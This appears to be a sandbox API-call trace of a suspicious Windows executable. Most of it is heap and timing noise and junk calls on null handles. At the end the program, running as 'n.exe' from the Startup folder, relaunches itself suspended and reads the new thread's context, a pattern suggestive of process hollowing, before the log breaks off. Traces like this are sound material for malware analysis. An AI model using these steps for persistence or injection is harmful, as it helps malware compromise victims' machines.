lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.759] GetLastError () returned 0x578 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.759] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.759] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea630970, dwHighDateTime=0x1d595b2)) [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.760] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.760] GetLastError () returned 0x578 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.760] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea633080, dwHighDateTime=0x1d595b2)) [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea633080, dwHighDateTime=0x1d595b2)) [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea633080, dwHighDateTime=0x1d595b2)) [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.761] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea635790, dwHighDateTime=0x1d595b2)) [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.761] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea635790, dwHighDateTime=0x1d595b2)) [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea635790, dwHighDateTime=0x1d595b2)) [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea635790, dwHighDateTime=0x1d595b2)) [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.762] GetLastError () returned 0x578 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.762] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.786] GetCursorPos (in: lpPoint=0x18ed0c | out: lpPoint=0x18ed0c*(x=1199, y=839)) returned 1 [0172.786] TrackPopupMenu (hMenu=0x0, uFlags=0x0, x=1198, y=837, nReserved=0, hWnd=0x0, prcRect=0x0) returned 0 [0172.787] GetCursorPos (in: lpPoint=0x18ed1c | out: lpPoint=0x18ed1c*(x=1199, y=839)) returned 1 [0172.787] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Xstore") returned 0x1ac [0172.787] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=1199, y=839)) returned 1 [0172.787] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0172.787] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0172.787] SetFocus (hWnd=0x0) returned 0x0 [0172.787] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xbb7) returned 0x102 [0176.587] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0176.587] SetCursor (hCursor=0x10007) returned 0x10007 [0176.587] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=1199, y=839)) returned 1 [0176.587] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0176.587] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0176.587] SetFocus (hWnd=0x0) returned 0x0 [0176.588] GetDeviceCaps (hdc=0x0, index=90) returned 0 [0176.588] CreateFontA (cHeight=0, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="me") returned 0xc0a028d [0176.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d878 [0176.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x2) returned 0x222d8a8 [0176.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0176.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0176.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x6) returned 0x222d8a8 [0176.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0176.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0176.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0176.589] SQLDriverConnectA () returned 0xfffe [0176.589] SQLDriverConnectA () returned 0xfffe [0176.589] SQLDriverConnectA () returned 0xfffe [0176.589] SQLDriverConnectA () returned 0xfffe [0176.589] SQLDriverConnectA () returned 0xfffe [0176.589] SQLDriverConnectA () returned 0xfffe [0176.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0176.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d878 | out: hHeap=0x2220000) returned 1 [0176.590] SetRect (in: lprc=0x18dbc0, xLeft=10, yTop=10, xRight=110, yBottom=110 | out: lprc=0x18dbc0) returned 1 [0176.590] InflateRect (in: lprc=0x18dbc0, dx=-20, dy=-20 | out: lprc=0x18dbc0) returned 1 [0176.590] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=300, xRight=200, yBottom=301 | out: lprc=0x18dbc0) returned 1 [0176.590] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=302, xRight=200, yBottom=303 | out: lprc=0x18dbc0) returned 1 [0176.590] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=305, xRight=200, yBottom=306 | out: lprc=0x18dbc0) returned 1 [0176.590] GetConsoleWindow () returned 0x0 [0176.590] GetDC (hWnd=0x0) returned 0xb010723 [0176.590] CreateDIBSection (in: hdc=0xb010723, lpbmi=0x18db78, usage=0x0, ppvBits=0x4ea700, hSection=0x0, offset=0x0 | out: ppvBits=0x4ea700) returned 0x0 [0176.590] CreateCompatibleDC (hdc=0xb010723) returned 0x1001072d [0176.590] SelectObject (hdc=0x1001072d, h=0x0) returned 0x0 [0176.590] GetConsoleWindow () returned 0x0 [0176.591] ReleaseDC (hWnd=0x0, hDC=0xb010723) returned 1 [0176.591] glBegin () returned 0x7efddb90 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glVertex2f () returned 0x0 [0176.591] glEnd () returned 0x321220 [0176.591] GetDlgItem (hDlg=0x0, nIDDlgItem=2006982120) returned 0x0 [0176.591] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0176.591] GetDlgItem (hDlg=0x0, nIDDlgItem=3158446) returned 0x0 [0176.591] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0176.591] GetDlgItem (hDlg=0x0, nIDDlgItem=17239) returned 0x0 [0176.591] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0176.591] GetDlgItem (hDlg=0x0, nIDDlgItem=3158446) returned 0x0 [0176.591] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0176.591] GetDlgItem (hDlg=0x0, nIDDlgItem=1914) returned 0x0 [0176.591] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0176.591] glClearColor () returned 0x30d0f0 [0176.591] glMatrixMode () returned 0x30d108 [0176.591] gluOrtho2D () returned 0x30d110 [0176.591] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7fe5) returned 0xc05080f [0176.592] CreatePatternBrush (hbm=0xc05080f) returned 0x631007ed [0176.593] DeleteObject (ho=0xc05080f) returned 1 [0176.593] CreateWindowExA (dwExStyle=0x220, lpClassName="RichEdit", lpWindowName=0x0, dwStyle=0x50300004, X=10, Y=10, nWidth=241, nHeight=221, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0176.593] SetWindowLongA (hWnd=0x0, nIndex=-4, dwNewLong=2006982120) returned 0 [0176.593] SetWindowLongA (hWnd=0x0, nIndex=-21, dwNewLong=0) returned 0 [0176.593] GetDlgItem (hDlg=0x0, nIDDlgItem=3158446) returned 0x0 [0176.593] DeleteObject (ho=0x631007ed) returned 1 [0176.593] GdiplusStartup (in: token=0x18d4d8, input=0x18d4c4, output=0x0 | out: token=0x18d4d8, output=0x0) returned 0x0 [0176.600] GdipAlloc (size=0x10) returned 0x35b2230 [0176.600] GdipLoadImageFromFile (filename="земля_ СЃ_луны.jpg", image=0x35b2234) returned 0x3 [0176.601] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0176.601] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0176.601] GetStockObject (i=0) returned 0x1900010 [0176.601] RegisterClassA (lpWndClass=0x18d480) returned 0x320000 [0176.601] CreateWindowExA (dwExStyle=0x0, lpClassName="Get", lpWindowName="Get", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0176.602] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0176.602] UpdateWindow (hWnd=0x0) returned 0 [0176.602] GdiplusShutdown (token=0x16576) [0176.988] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x77a01de8, lParam=0x3031ae) returned 0x0 [0176.988] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x4357, lParam=0x3031ae) returned 0x0 [0176.988] EnumWindowStationsW (lpEnumFunc=0x620000, lParam=0x0) [0178.204] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0178.204] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0180.145] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c960, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0180.145] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c908*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cb8c | out: lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpProcessInformation=0x18cb8c*(hProcess=0x1bc, hThread=0x1b8, dwProcessId=0x370, dwThreadId=0x4fc)) returned 1 [0180.151] GetThreadContext (in: hThread=0x1b8, lpContext=0x18c630 | out: 